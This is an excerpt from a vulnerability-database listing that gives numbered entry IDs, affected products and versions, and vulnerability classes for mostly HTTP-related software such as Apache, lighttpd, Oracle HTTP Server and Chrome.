11203| [12115] Pidgin 2.10.7 HTTP Response memory corruption
11204| [12108] Pidgin 2.10.7 HTTP Response Crash denial of service
11205| [66113] httplib2 up to 0.8 spoofing
11206| [11998] VMware vCloud Director 5.1.2 HTTP Request cross site request forgery
11207| [11829] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1 OSSL Module Stored privilege escalation
11208| [11821] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1 Web Listener cross site scripting
11209| [11817] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1 OSSL Module information disclosure
11210| [11816] Oracle HTTP Server 10.1.3.5.0/11.1.1.6.0/11.1.1.7.0/11.1.2.1 OSSL Module memory corruption
11211| [11814] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1/12.1.2.0 Web Listener privilege escalation
11212| [11812] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1 OSSL Module memory corruption
11213| [11787] Juniper Junos 10.4/11.4/12.1r/12.1x44/12.1x45 on SRX flowd Service HTTP Traffic denial of service
11214| [12136] haxx.se cURL up to 7.34.0 HTTP NTLM Connection weak authentication
11215| [12123] Motorola SBG6580 6.5.0.0-GA-00-226-NOSH Web Access /goform/login HTTP POST Request denial of service
11216| [11616] cPanel WHM 11.36.2.9/11.38.2.12/11.40.0.28/11.40.1.2 cpsrvd HTTP Request Bypass privilege escalation
11217| [65806] IBM Sterling Connect Enterprise Http Option up to 1.3.1 cross site scripting
11218| [65756] GNU libmicrohttpd up to 0.9.31 MHD_digest_auth_check memory corruption
11219| [65755] GNU libmicrohttpd up to 0.9.31 MHD_http_unescape denial of service
11220| [11407] TP-LINK TL-WR740N 3.12.11 Build 120320 Rel.51047n HTTP Server Accept-Encoding Header Crash denial of service
11221| [65578] Gummy Bear FTP Drive + HTTP Server up to 1.0.4 directory traversal
11222| [11320] Instagram/Flattr 4.0.2/4.1.2/4.2.7 on iOS/Android HTTP POST Request Photo Upload weak encryption
11223| [11307] Thomson Reuters Velocity Analytics Vhayu Analytic Server Input Sanitizer /VhttpdMgr privilege escalation
11224| [11182] Google Chrome 30.0.1599.101 HTTP 1xx Parsing http_stream_parser.cc QuickGetNext memory corruption
11225| [65451] Cisco Prime Central for Hosted Collaboration Solution HTTP Service Flooding denial of service
11226| [11098] Apache Tomcat 5.5.25 HTTP Request cross site request forgery
11227| [11097] lighttpd up to 1.4.33 ssl.cipher-lister weak encryption
11228| [65391] Varnish up to 3.0.4 Crash denial of service
11229| [11663] Python 2.7.5/3.3.3 RC 1 Lib/CGIHTTPServer.py CGIHTTPRequestHandler directory traversal
11230| [65363] F5 Big-ip Protocol Security Module up to 9.4.6 Accelerator denial of service
11231| [10981] Cisco Content Security Management Appliance up to 8.1 HTTP/HTTPS Request denial of service
11232| [10660] Cisco ASA up to 9.1(1.1) HTTP Deep Packet Inspection Malformed Response denial of service
11233| [10657] Cisco ASA up to 9.1(1.3) Clientless SSL VPN HTTPS Request denial of service
11234| [10596] libxml2 Socket nanohttp.c xmlNanoHTTPConnectAttempt denial of service
11235| [11250] HP 2620 Switch HTTP Request html/json.html cross site request forgery
11236| [10503] Blue Coat Security Gateway OS up to 6.5.1 HTTP RW Pipeline Pre-Fetch Requests Memory Leak memory corruption
11237| [10842] Google Chrome 30.0.1599.69 xml/XMLHttpRequest.cpp internalAbort memory corruption
11238| [10645] Http-body Project Perl 1.08 Temp File Name HTTP::Body::Multipart privilege escalation
11239| [10080] IBM WebSphere Commerce up to 7.0.0.7 Accelerator cross site scripting
11240| [10559] Google Chrome 29.0.1547.76 GPU Video Accelerator gpu_video_decode_accelerator_host.cc Error memory corruption
11241| [11233] MediaWiki 1.19.8/1.20.7/1.21.2 HTTP Header Caching weak authentication
11242| [9891] Apache HTTP Server 2.2.22 suEXEC Feature .htaccess information disclosure
11243| [9889] Mozilla Firefox/Thunderbird XMLHttpRequest Calls Crash cross site scripting
11244| [9895] Nmap 6.25 http-domino-enum-passwords.nse privilege escalation
11245| [64607] Monkey HTTP Daemon 1.1.1 mk_request.c mk_request_header_process denial of service
11246| [64597] Vector Ultra Mini HTTPD 1.21 Stack-based memory corruption
11247| [64567] Monkey HTTP Daemon 1.2.2 cross site scripting
11248| [9717] Samsung PS50C7700 HTTP Request denial of service
11249| [9683] Apache HTTP Server 2.4.5 mod_session_dbd denial of service
11250| [9606] Oracle HTTP Server 10.1.3.5.0 Web Listener information disclosure
11251| [9605] Oracle HTTP Server 10.1.3.5.0 Web Listener Out-of-Bounds cross site scripting
11252| [9604] Oracle HTTP Server Web Listener Memory Consumption denial of service
11253| [9603] Oracle HTTP Server Web Listener denial of service
11254| [9602] Oracle HTTP Server Web Listener cross site scripting
11255| [9601] Oracle HTTP Server 10.1.3.5.0 Web Listener cross site scripting
11256| [9600] Oracle HTTP Server 10.1.3.5.0 Web Listener cross site scripting
11257| [9599] Oracle HTTP Server 10.1.3.5.0 Web Listener cross site scripting
11258| [9597] Oracle HTTP Server 10.1.3.5.0 Web Listener memory corruption
11259| [9596] Oracle HTTP Server Web Listener Memory Consumption denial of service
11260| [9595] Oracle HTTP Server Web Listener Crash denial of service
11261| [9594] Oracle HTTP Server 2.2.9 Proxy Plug-In mod_proxy_http.c information disclosure
11262| [9547] Squid Proxy up to 3.3.7 HTTP Request denial of service
11263| [9526] Squid Proxy up to 3.3.6 dns_internal.cc idnsALookup HTTP Request denial of service
11264| [9510] Juniper Junos 10.4/11.4/12.1/12.1x44 HTTP Request memory corruption
11265| [9456] Google Chrome up to 27.0.1453.116 HTTP over SSL information disclosure
11266| [9478] Google Chrome 25.0.1364.152 xml/XMLHttpRequest.cpp setRequestHeader spoofing
11267| [9279] Cisco Web/Mail Security Appliance up to 7.7/8.1 Web Framework HTTP/HTTPS Request denial of service
11268| [9288] Mozilla Firefox up to 21.0 XHR HEAD Request XMLHttpRequest (XHR) HEAD cross site request forgery
11269| [9242] Canon HTTP Request cgi_lan.cgi denial of service
11270| [9076] Wireshark up to 1.8.7 HTTP Dissector packet-http.c http_payload_subdissector Crafted Packet denial of service
11271| [8915] IBM WebSphere Portal up to 8.0 HTTP spoofing
11272| [8813] thttpd 2.25b WebService information disclosure
11273| [8810] WebKitGTK+ HTTPS/SSL Certificate spoofing
11274| [8722] Microsoft Windows 8/RT/Server 2012 HTTP.sys denial of service
11275| [8746] Apache HTTP Server Log File Terminal Escape Sequence Filtering mod_rewrite.c do_rewritelog privilege escalation
11276| [8618] nginx 1.3.9/1.4.0 http/ngx_http_parse.c ngx_http_parse_chunked() memory corruption
11277| [8509] D-Link DIR-300 1.05 HTTP Header tools_vct.xgi race condition
11278| [8314] Oracle HTTP Server 11.1.1.6.0 Web Listener cross site scripting
11279| [8313] Oracle HTTP Server Web Listener Heap-based denial of service
11280| [8310] Oracle HTTP Server Web Listener information disclosure
11281| [8309] Oracle HTTP Server Web Listener information disclosure
11282| [8308] Oracle HTTP Server Web Listener denial of service
11283| [8307] Oracle HTTP Server 10.1.3.5/11.1.1.5.0/11.1.1.6.0 Web Listener unknown vulnerability
11284| [8306] Oracle HTTP Server Web Listener denial of service
11285| [8305] Oracle HTTP Server Web Listener information disclosure
11286| [8304] Oracle HTTP Server Web Listener information disclosure
11287| [8303] Oracle HTTP Server 11.1.1.6.0 ModSecurity denial of service
11288| [8300] Oracle HTTP Server Web Listener denial of service
11289| [8299] Oracle HTTP Server Web Listener denial of service
11290| [8298] Oracle HTTP Server Web Listener denial of service
11291| [8294] Oracle Database Server up to 4.2.1 HTTP unknown vulnerability
11292| [8293] Oracle Database Server 11.2.0.2/11.2.0.3 HTTP memory corruption
11293| [63967] John Nunemaker httparty up to 0.2.0 memory corruption
11294| [63884] Varnish 6.x-1.0/6.x-1.1/6.x-1.x/7.x-1.0/7.x-1.x cross site scripting
11295| [8121] Digium Asterisk up to 1.8.20.1 main/http.c ast_http_get_post_vars denial of service
11296| [8082] IBM Lotus Domino up to 8.5.3 HTTP Server Crash denial of service
11297| [8076] TP-LINK WR740N Wireless N Router up to 3.16.4 HTTP Request Crash denial of service
11298| [8012] Apple Mac OS X 10.8.3 IOAcceleratorFamily memory corruption
11299| [7890] Squid Proxy up to 3.2.7 http.cc httpMakeVaryMark denial of service
11300| [7847] Cisco Aironet Access Point 7.3(101.0) HTTP Profiling Feature Crash denial of service
11301| [7843] D-Link DIR-645 Firmware 1.02 Authentication /getcfg.php HTTP Request information disclosure
11302| [63646] Apache HTTP Server up to 2.2.23/2.4.3 mod_proxy_balancer.c balancer_handler cross site scripting
11303| [63630] Infradead OpenConnect up to 4.07 http.c memory corruption
11304| [7784] Alt-N MDaemon up to 13.0.3 HTTP Requests Sanitizer WorldClient.dll information disclosure
11305| [7810] IBM HTTP Server up to 8.5.0.2 mod_info cross site scripting
11306| [7733] Pidgin 2.10.6 http.c mxit_cb_http_read memory corruption
11307| [7732] Pidgin 2.10.6 http.c mxit_cb_http_read memory corruption
11308| [7701] IBM WebSphere Message up to 8.0 HTTPInput Node denial of service
11309| [7510] Microsoft Internet Explorer 8/9 HTTP/HTTPS Request spoofing
11310| [7465] Cisco Wireless LAN Controller up to 7.2 HTTP Profiling Feature memory corruption
11311| [7445] F5 BIG-IP 11.0.0/11.1.0/11.2.0/11.2.1 Accelerator saveSettings.php sql injection
11312| [7343] Microsoft Lync 2012 HTTP Format String
11313| [12075] Python Software Foundation BaseHTTPServer 0.6 HTTP Request denial of service
11314| [63300] ELinks 0.12 http_negotiate_create_context unknown vulnerability
11315| [7246] Digium Asterisk up to 11.1.1 AMI main/http.c ast_http_get_post_vars denial of service
11316| [7232] Digium Asterisk 1.8/10/11 Device State Caching SIP/HTTP/XMPP denial of service
11317| [7231] Digium Asterisk 1.8/10/11 TCP Session SIP/HTTP/XMPP denial of service
11318| [7202] Apache HTTP Server 2.4.2 on Oracle Solaris ld_library_path cross site scripting
11319| [7209] NetIQ eDirectory up to 8.8.7.1 on Windows HTTP Request Crash denial of service
11320| [10527] Blue Coat Reporter 9.3 HTTP Traffic weak encryption
11321| [7118] Microsoft Windows Server 2008 R2/Server 2012 IP-HTTPS unknown vulnerability
11322| [8189] Apple CUPS 1.6.1 cups/http-support.c http_resolve_cb denial of service
11323| [7094] IBM Tivoli Monitoring up to 6.2.3 HTTP Service Console cross site scripting
11324| [63089] Apache HTTP Server up to 2.2.13 mod_proxy_ajp denial of service
11325| [7098] Diga plc Qt 4.8.3 XmlHttpRequest Object information disclosure
11326| [7013] lighttpd 1.4.31/1.4.32 src/request.c http_request_split_value() denial of service
11327| [7012] Instagram up to 3.1.2 on iOS HTTP Plaintext weak encryption
11328| [6996] Opera Web Browser 12.10 HTTP Response Heap-based memory corruption
11329| [6981] Mozilla Firefox/Thunderbird 16.0.1/16.0.2 XMLHttpRequest Sandbox Bypass privilege escalation
11330| [62981] django up to 1.4.1 django.http.HttpRequest.get_host cross site request forgery
11331| [62830] Apache Commons-httpclient 3.0 Payments spoofing
11332| [6821] IBM Tivoli 6.2.3/6.2.3.1 HTTP Server TRACE/TRACK cross site scripting
11333| [6748] Oracle Central Designer 1.3/1.4/1.4.2 HTTP unknown vulnerability
11334| [11633] Python 2.6.8/2.7.3/3.3.2 HTTP read_status HTTP Header denial of service
11335| [6562] Novell GroupWise 2012/8.0/8.00/8.01/8.02 HTTP interfaces Integer directory traversal
11336| [6510] Apple iOS up to 5.1.1 WebKit WebSockets HTTP Response Header privilege escalation
11337| [6297] Novell GroupWise up to 2012 Web Admin Interface gwia.exe HTTP Header memory corruption
11338| [6301] Apache HTTP Server mod_pagespeed cross site scripting
11339| [6300] Apache HTTP Server mod_pagespeed Hostname information disclosure
11340| [6075] Google Chrome 21.0.1180.83 XMLHttpRequest ResourceResponse.cpp race condition
11341| [6068] Mozilla Firefox 14 HTTPMonitor Extension Use-After-Free privilege escalation
11342| [6997] Apache Tomcat 5.5.35/6.0.35/7.0.28 HTTP Digest Authentication Implementation privilege escalation
11343| [6092] Apache HTTP Server 2.4.0/2.4.1/2.4.2 mod_proxy_ajp.c information disclosure
11344| [6090] Apache HTTP Server 2.4.0/2.4.1/2.4.2 mod_proxy_http.c information disclosure
11345| [5984] IBM Lotus Domino up to 8.5.3 HTTP Server cross site scripting
11346| [5907] Novell Remote Manager 2.0.2 Release 99.10 Small Http Interface Daemon ProcessAuthorizationFailure HTTP Header denial of service
11347| [5877] Ruby on Rails up to 3.2.7 http_authentication.rb with_http_digest helper denial of service
11348| [5764] Oracle Solaris 10 Apache HTTP Server information disclosure
11349| [5729] Oracle E-Business Suite 11.5.10.2 on Oracle9i Application Server 1.0.2.2 HTTP Server memory corruption
11350| [5726] Oracle E-Business Suite 11.5.10.2 on Oracle9i Application Server 1.0.2.2 HTTP Server information disclosure
11351| [5707] Oracle Fusion Middleware 10.1.3.5/11.1.1.5/11.1.1.6/11.1.2.0 HTTP Server memory corruption
11352| [5704] Oracle Fusion Middleware 10.1.3.5/11.1.1.5/11.1.2.0 HTTP Server information disclosure
11353| [5572] Python up to 2.7.2 SimpleHTTPServer Module SimpleHTTPServer.py list_directory cross site scripting
11354| [60862] CVS 1.11/1.12 HTTP Proxy Server proxy_connect memory corruption
11355| [9673] Apache HTTP Server up to 2.4.4 mod_dav mod_dav.c Request denial of service
11356| [5312] Mozilla Firefox up to 11.0 RSS/Atom XML HTTPS Content Loading URL spoofing
11357| [5311] Mozilla Firefox up to 11.0 XMLHttpRequest/WebSocket Handling weak authentication
11358| [5309] Mozilla Firefox 11.0 HTTP Redirects & Remote Content information disclosure
11359| [60606] Nsoftware Unitronics UniOPC up to 1.3.7 https50.ocx unspecified memory corruption
11360| [5293] nginx up to 1.1.18 ngx_http_mp4_module MP4 File memory corruption
11361| [5177] McAfee Web Gateway 7.0 HTTP Header Host Field Parser CONNECT Request privilege escalation
11362| [5176] Squid Proxy 3.1.19 HTTP Header Host Field Parser CONNECT Request privilege escalation
11363| [4981] Cisco IOS 12.4/15.0/15.1/15.2 HTTP Inspection Engine HTTP Message denial of service
11364| [4955] Apache Traffic Server 3.0.3/3.1.2 HTTP Header Parser memory corruption
11365| [4884] Apache HTTP Server up to 2.3.6 mod_fcgid fcgid_spawn_ctl.c FcgidMaxProcessesPerClass HTTP Requests denial of service
11366| [4843] nginx up to 1.0.13/1.1.16 HTTP Header Response Parser ngx_http_parse.c information disclosure
11367| [4913] IBM Tivoli Endpoint Manager 8.1 HTTPOnly Flag Cookie Handling information disclosure
11368| [4850] Apple Safari up to 5.1.4 WebKit HTTP Authorization HTTP Header Logging unknown vulnerability
11369| [4707] Novell ZENworks Configuration Management up to 10.3.4 HTTP Trace unknown vulnerability
11370| [4591] Mozilla Firefox up to 3.6.26/6.0 IPv6 Proxy XMLHttpRequest Object information disclosure
11371| [4583] Apache HTTP Server up to 2.2.21 Threaded MPM denial of service
11372| [4582] Apache HTTP Server up to 2.2.21 protocol.c information disclosure
11373| [59826] dhttpd denial of service
11374| [59825] Apache HTTP Server up to 2.1.7 mod_reqtimeout denial of service
11375| [59799] lighttpd up to 1.1.1 http_auth.c base64_decode denial of service
11376| [59556] Apache HTTP Server up to 2.0.53 mod_proxy information disclosure
11377| [59239] IBM HTTP Server up to 2.0.42.1 cross site scripting
11378| [58394] Pidgin up to 2.5.2 Protocol Plugin httpconn.c msn_httpconn_parse_data denial of service
11379| [91156] McAfee Web Gateway 6.8.6.x E-Mail Gateway & HTTP Method Filter List cross site scripting
11380| [58199] shttpd 1.42 Embedded Web Server mongoose.c _shttpd_put_dir memory corruption
11381| [58129] Sunwayland ForceControl 6.1 httpsvr.exe memory corruption
11382| [58125] CA Gateway Security up to 8.0 Icihttp.exe memory corruption
11383| [57891] cURL/libcURL up to 7.15.1 http_negotiate.c Curl_input_negotiate unknown vulnerability
11384| [57888] Apache HttpClient 4.0/4.0.1/4.1 Authorization information disclosure
11385| [4355] Apache HTTP Server APR apr_fnmatch denial of service
11386| [57449] Search.cpan libwww-perl up to 5.64 SSL Certificate Net::HTTPS spoofing
11387| [4352] Apache HTTP Server 2.2.x APR apr_fnmatch denial of service
11388| [57268] Banu Tinyproxy up to 1.8.2 HTTP Proxy Server acl.c unknown vulnerability
11389| [56893] PHP HTTP Proxy Crash denial of service
11390| [4265] Opera Web Browser up to 11.01 on Windows HTTP HTTP Replies/Redirects memory corruption
11391| [62295] SilverStripe up to 2.4.3 Error RequestHandler.php httpError cross site scripting
11392| [4892] WordPress 2.0.2 Comment HTTP Request privilege escalation
11393| [54651] Mozilla Firefox XmlHttpRequest Object cross site scripting
11394| [54841] Salvo Tomaselli Weborf HTTP Server up to 0.12.2 instance.c modURL directory traversal
11395| [4163] Microsoft XML Core Services 3.x HTTP HTTP Response memory corruption
11396| [54231] Eterna bozohttpd up to 20010609 User Account unknown vulnerability
11397| [54230] Eterna bozohttpd 20090522/20100509/20100512 denial of service
11398| [54166] Apache HTTP Server up to 2.2.12 mod_cache Crash denial of service
11399| [53798] Salvo Tomaselli Weborf HTTP Server up to 0.12.1 Connection Header Unicode Crash denial of service
11400| [53611] Standards Based Linux Instrumentation Sblim-sfcb 1.3.4/1.3.5/1.3.6/1.3.7 httpAdapter.c memory corruption
11401| [53610] Standards Based Linux Instrumentation Sblim-sfcb 1.3.4/1.3.5/1.3.6/1.3.7 httpAdapter.c memory corruption
11402| [53534] Salvo Tomaselli Weborf HTTP Server up to 0.12.0 Range Header Crash denial of service
11403| [53014] Lexmark C920 Embedded HTTP Server denial of service
11404| [52988] IBM up to 3.7.3.9 Accelerator denial of service
11405| [52843] Apache HTTP Server mod_auth_shadow unknown vulnerability
11406| [52826] Jasper httpdx 1.4/1.4.5/1.4.6/1.4.6b/1.5 Default Password weak authentication
11407| [52583] Varnish up to 2.0.6 Administration Interface cross site request forgery
11408| [52544] Apple iPhone OS 3.1 HTTP Client Crash denial of service
11409| [53437] Http-solution Project Man up to 1.0 Login login.php sql injection
11410| [51887] Google Chrome up to 2.0.172.32 HTTP Logging information disclosure
11411| [51757] Apache HTTP Server 2.0.44 cross site scripting
11412| [51756] Apache HTTP Server 2.0.44 spoofing
11413| [51734] lighttpd up to 1.1.1 Memory Consumption denial of service
11414| [51717] Apache HTTP Server up to 1.3.3 mod_proxy ap_proxy_send_fb memory corruption
11415| [51537] Acme thttpd 2.25 Terminal privilege escalation
11416| [51536] Acme Mini HTTPd 1.19 Terminal privilege escalation
11417| [51534] Varnish 2.0.6 Terminal privilege escalation
11418| [51290] Pps.jussieu Polipo 1.0.4 http_parse.c httpParseHeaders denial of service
11419| [51055] Frank Yaul CoreHTTP 0.5.3.1 Off-By-One memory corruption
11420| [51295] Pps.jussieu Polipo 0.9.8/0.9.12/1.0.4 client.c httpClientDiscardBody denial of service
11421| [50927] Javascript Xerver HTTP Server 4.31 unknown vulnerability
11422| [86836] httpdx HTTP Server tolog Format String
11423| [52825] Jasper httpdx 1.4/1.4.5/1.4.6/1.4.6b/1.5 tolog memory corruption
11424| [50726] Cherokee httpd 0.5.4 directory traversal
11425| [51396] Jasper httpdx 1.4/1.4.3/1.4.4 unknown vulnerability
11426| [50469] Jasper httpdx 1.4/1.4.3 http.cpp h_handlepeer memory corruption
11427| [50409] Jasper httpdx 1.4 http.c h_readrequest memory corruption
11428| [49935] Silcnet Silc Toolkit up to 1.0 silchttpserver.c silc_http_server_parse memory corruption
11429| [49857] Apache HTTP Server mod_proxy_ftp cross site scripting
11430| [49856] Apache HTTP Server 2.2.13 mod_proxy_ftp ap_proxy_ftp_handler denial of service
11431| [49549] ntop 3.3.10 Authorization http.c checkHTTPpassword denial of service
11432| [49520] fhttpd 0.4.2 Authorization Crash denial of service
11433| [49436] DD-WRT 24 httpd.c unknown vulnerability
11434| [49208] Joompolitan Com Livechat 1.0 HTTP Proxy xmlhttp.php unknown vulnerability
11435| [49178] Squid Proxy up to 3.1.0.11 HttpMsg.cc denial of service
11436| [49177] Squid Proxy up to 3.1.0.11 HttpMsg.cc denial of service
11437| [49435] DD-WRT 24 httpd.c privilege escalation
11438| [48952] Apache HTTP Server up to 1.3.6 mod_deflate denial of service
11439| [48898] eAccelerator 0.9.4/0.9.5/0.9.5.1/0.9.5.2/0.9.5.3 encoder.php memory corruption
11440| [3992] Google Chrome up to 2.0.172 HTTP Response memory corruption
11441| [3983] Microsoft Internet Explorer 6/7 xmlHttpRequest memory corruption
11442| [86716] GlassFish Enterprise Server httpListenerEdit.jsf cross site scripting
11443| [47829] Sebastian Fernandez Zervit 0.02 libz/misc.c http_parse_hex memory corruption
11444| [3950] Microsoft Windows HTTP Service memory corruption
11445| [47568] Versalsoft Http File Upload Activex Control 6.0.0.35 ActiveX Control UUploaderSvrD.dll unknown vulnerability
11446| [3934] Blue Coat t Security Gateway O 3.x HTTP unknown vulnerability
11447| [46372] Squid Proxy up to 3.1.0.4 HttpMsg.c denial of service
11448| [3930] Mozilla Firefox up to 3.0.5 HTTP Directive information disclosure
11449| [3929] Mozilla Firefox 3.0 HTTPOnly Cookie information disclosure
11450| [3907] Cisco IOS up to 12.4 HTTP cross site scripting
11451| [3906] Cisco IOS up to 12.4 HTTP ping cross site scripting
11452| [45525] PHP up to 5.2.6 htaccess httpd.conf cross site scripting
11453| [45187] Streamripper 1.63.5 lib/http.c http_get_m3u memory corruption
11454| [45030] Novell eDirectory up to 8.8.2 HTTP Protocol Stack Stack-Based cross site scripting
11455| [45029] Novell eDirectory up to 85.20 HTTP Protocol Stack Stack-based memory corruption
11456| [44776] Andrei Zmievski Snoopy up to 1.2.3 _httpsrequest privilege escalation
11457| [44691] Cisco PIX/ASA Accelerator Memory Leak denial of service
11458| [44319] lighttpd up to 1.1.1 mod_userdir unknown vulnerability
11459| [44318] lighttpd up to 1.1.9 Access Restriction information disclosure
11460| [44230] lighttpd up to 1.1.1 request.c http_request_parse denial of service
11461| [44213] Cisco IOS up to 12.4xw HTTP Deep Packet Inspection denial of service
11462| [43824] Craftysyntax Crafty Syntax Live Help up to 1.7 is_xmlhttp.php sql injection
11463| [43713] SpeedBit Download Accelerator Plus 8.6 ActiveX Control AniGIF.ocx memory corruption
11464| [43705] HAVP HTTP Antivirus Proxy 0.88 sockethandler.cpp denial of service
11465| [43673] Ruby up to 1.9.0 HTTPUtils.split_header_value denial of service
11466| [43556] Apache HTTP Server up to 2.1.8 mod_proxy_ftp proxy_ftp.c cross site scripting
11467| [43505] SpeedBit Speedbit Video Accelerator up to 2.2.0.6 DNS Cache memory corruption
11468| [43499] SpeedBit Download Accelerator Plus up to 8.0 memory corruption
11469| [43211] Speedbit Download Accelerator Plus 7.0.1.3 dap.exe memory corruption
11470| [42813] Sun Java System Calendar Server 6 service.http.commandlog.all denial of service
11471| [42752] Lavrsen Motion up to 3.2.10 webhttpd.c read_client memory corruption
11472| [42656] CA eTrust Secure Content Manager 8.0 icihttp.exe memory corruption
11473| [42325] Apache HTTP Server up to 2.1.8 Error Page cross site scripting
11474| [42215] Peercast 0.1218 http::getauthuserpass memory corruption
11475| [3679] Adobe Flash Player up to 9.0.124.0 HTTP Header cross site scripting
11476| [41833] Perlbal 1.60 clienthttpbase.pm _serve_request_multiple directory traversal
11477| [41828] Chilkat Software ChilkatHttp ActiveX up to 2.3.0.0 ActiveX Control chilkathttp.dll unknown vulnerability
11478| [41748] Microsoft Internet Explorer 7 XMLHttpRequest Calls privilege escalation
11479| [41747] Microsoft Internet Explorer 6 XMLHttpRequest Calls information disclosure
11480| [41730] lighttpd 1.4.9/1.4.19 connections.c connection_state_machine denial of service
11481| [41427] lighttpd 1.4.18 mod_userdir unknown vulnerability
11482| [41346] Simm-comm SCI Photo Chat up to 3.4.9 Embedded HTTP Server directory traversal
11483| [41329] lighttpd 1.4.18 mod_cgi information disclosure
11484| [41234] lighttpd up to 1.4.18 Out-of-Bounds denial of service
11485| [41162] Now Sms Mms Gateway up to 2007.06.27 HTTP Service Stack-based memory corruption
11486| [41035] Group Logic ExtremeZ-IP File and Print Server up to 5.1.2 Embedded HTTP Server directory traversal
11487| [40874] RaidenHTTPD 2.0.19 cross site scripting
11488| [8090] libxml2 up to 2.6.28 xmlNanoHTTPMethodRedir denial of service
11489| [40725] HFS HTTP File Server up to 2.x information disclosure
11490| [40724] HFS HTTP File Server up to 2.x cross site scripting
11491| [40723] HFS HTTP File Server up to 2.x unknown vulnerability
11492| [40722] HFS HTTP File Server up to 2.x spoofing
11493| [40721] HFS HTTP File Server up to 2.x Crash denial of service
11494| [40720] HFS HTTP File Server up to 2.x directory traversal
11495| [40710] Apache HTTP Server up to 2.0.61 mod_negotiation cross site scripting
11496| [40709] Apache HTTP Server up to 2.0.53 mod_negotiation cross site scripting
11497| [40663] BitDefender Update Server Enterprise Manager http.exe directory traversal
11498| [40602] MiniWeb HTTP Server 0.8.19 http.c mwgetlocalfilename directory traversal
11499| [40601] MiniWeb HTTP Server 0.8.19 http.c _mwprocessreadsocket memory corruption
11500| [40503] Apache HTTP Server mod_proxy_ftp cross site scripting
11501| [40502] Apache HTTP Server up to 2.2.5 mod_proxy_balancer memory corruption
11502| [40501] Apache HTTP Server 2.2.6 mod_proxy_balancer cross site request forgery
11503| [40398] Apache HTTP Server up to 2.2 mod_proxy_balancer cross site scripting
11504| [40397] Apache HTTP Server up to 2.2 mod_proxy_balancer balancer_handler denial of service
11505| [3527] Adobe Flash Player up to 9.0.115.0 HTTP cross site scripting
11506| [40345] SourceForge Creammonkey 0.9/1.0/1.1 gm_xmlhttprequest privilege escalation
11507| [40575] VideoLAN VLC 0.8.6d network/httpd.c httpd_filecallback memory corruption
11508| [40221] Apache HTTP Server 2.2.6 information disclosure
11509| [40148] PeerCast 0.1211/0.1212/0.1215/0.1217/Svn 344 servhs.cpp handshakehttp memory corruption
11510| [40147] Raiden Professional Servers raidenhttpd 2.0.19 Admin Function workspace.php webadmin directory traversal
11511| [40017] Sergey Lyubka Simple HTTPD 1.3 aux denial of service
11512| [39999] HttpLogger 0.8.1 cross site scripting
11513| [40088] Sergey Lyubka HTTPD 1.34/1.35/1.38 CGI Program unknown vulnerability
11514| [40087] Sergey Lyubka HTTPD up to 1.38 directory traversal
11515| [3489] Apache HTTP Server 2.x HTTP Header cross site scripting
11516| [39894] Cisco Unified IP Phone HTTP Daemon unknown vulnerability
11517| [39825] Wireshark up to 0.99.6 HTTP Dissector memory corruption
11518| [3456] PHP 5.2.4 httpd.conf memory corruption
11519| [39613] Alhem C++ Sockets Library up to 2.2.3 httpsocket.cpp denial of service
11520| [39574] EDraw Flowchart ActiveX 2.3 ActiveX Control edimage.ocx HttpDownloadFile() directory traversal
11521| [39435] Serverkit shttp 0.0.4 safe_path directory traversal
11522| [39348] Juniper HTTP Service Heap-based memory corruption
11523| [3358] Ruby 1.8.5/1.8.6 Common Name Verificator Net::HTTPS Schwache Verschl\xC3\xBCsselung
11524| [3327] Xitami HTTP Server HTTP Request If-Modified-Since Stack-Based memory corruption
11525| [38913] AirDefense Airsensor M520 HTTPS Service adlog.cgi memory corruption
11526| [38768] Apache HTTP Server up to 2.1.7 mod_autoindex.c cross site scripting
11527| [3298] Jan Kneschke lighttpd 1.4.15 mod_fastcgi memory corruption
11528| [85754] InterWorx SiteWorx httpd.php cross site scripting
11529| [85732] InterWorx NodeWorx http.php cross site scripting
11530| [3263] IBM HTTP Server up to 6.1.x mod_status cross site scripting
11531| [38320] Streamripper up to 1.62 lib/http.c httplib_parse_sc_header memory corruption
11532| [38170] TIBCO Rendezvous 7.5.2 HTTP Administration Interface index.html information disclosure
11533| [38069] Frank Yaul corehttp 0.5.3 Alpha http.c HttpSprockMake memory corruption
11534| [37952] lighttpd 1.4.15 mod_scgi Crash denial of service
11535| [37617] Kurinton sHTTPd 2007 04 08 cross site scripting
11536| [37471] Sergey Lyubka Simple HTTPD 1.38 information disclosure
11537| [37410] RaidenHTTPD 2.0.13 cross site scripting
11538| [37402] BugHunter HTTP SERVER 1.6.2 httpsv.exe denial of service
11539| [37393] Bughunter HTTP Server 1.6.2 httpsv.exe information disclosure
11540| [86020] lighttpd mod_auth http_auth.c denial of service
11541| [86019] lighttpd mod_auth http_auth.c denial of service
11542| [86018] lighttpd mod_auth http_auth.c denial of service
11543| [37951] lighttpd 1.4.15 mod_access.c denial of service
11544| [37950] lighttpd 1.4.15 connections.c denial of service
11545| [37949] lighttpd 1.4.15 request.c denial of service
11546| [37948] lighttpd 1.4.15 mod_auth http_auth.c denial of service
11547| [37328] Astaro Security Gateway HTTP Proxy denial of service
11548| [3133] Apache Tomcat up to 6.0 HTTP cross site scripting
11549| [3132] Microsoft Internet Explorer 7 HTTP Basic Authentication IDN privilege escalation
11550| [37226] Westbyte Internet Download Accelerator 5.2 ActiveX Control idaiehlp.dll notsafe memory corruption
11551| [37223] MiniWeb Http Server 0.8.1 http.c denial of service
11552| [37102] Mbedthis AppWeb HTTP Server up to 2.2.1 Trace unknown vulnerability
11553| [36679] VersalSoft HTTP File Upload ActiveX control ActiveX Control ufileuploaderd.dll addfile memory corruption
11554| [36638] PHP up to 5.2.1 make_http_soap_request memory corruption
11555| [36508] Wserve HTTP Server 4.6 wserve_console.exe memory corruption
11556| [37103] Mbedthis AppWeb HTTP Server 2.0.5-4 Logging mprlogtofile::logevent denial of service
11557| [36201] lighttpd up to 1.4.13 NULL Pointer Dereference denial of service
11558| [3016] Jan Kneschke lighttpd 1.4.12/1.4.13 denial of service
11559| [3015] Jan Kneschke lighttpd 1.4.12/1.4.13 mtime denial of service
11560| [36079] Daniel Naber LanguageTool 0.8.8 Error Message httpserver.java cross site scripting
11561| [2997] Apache httpd/Tomcat 5.5/6.0 directory traversal
11562| [2985] IBM WebSphere Application Server 6.0.x HTTP Response cross site scripting
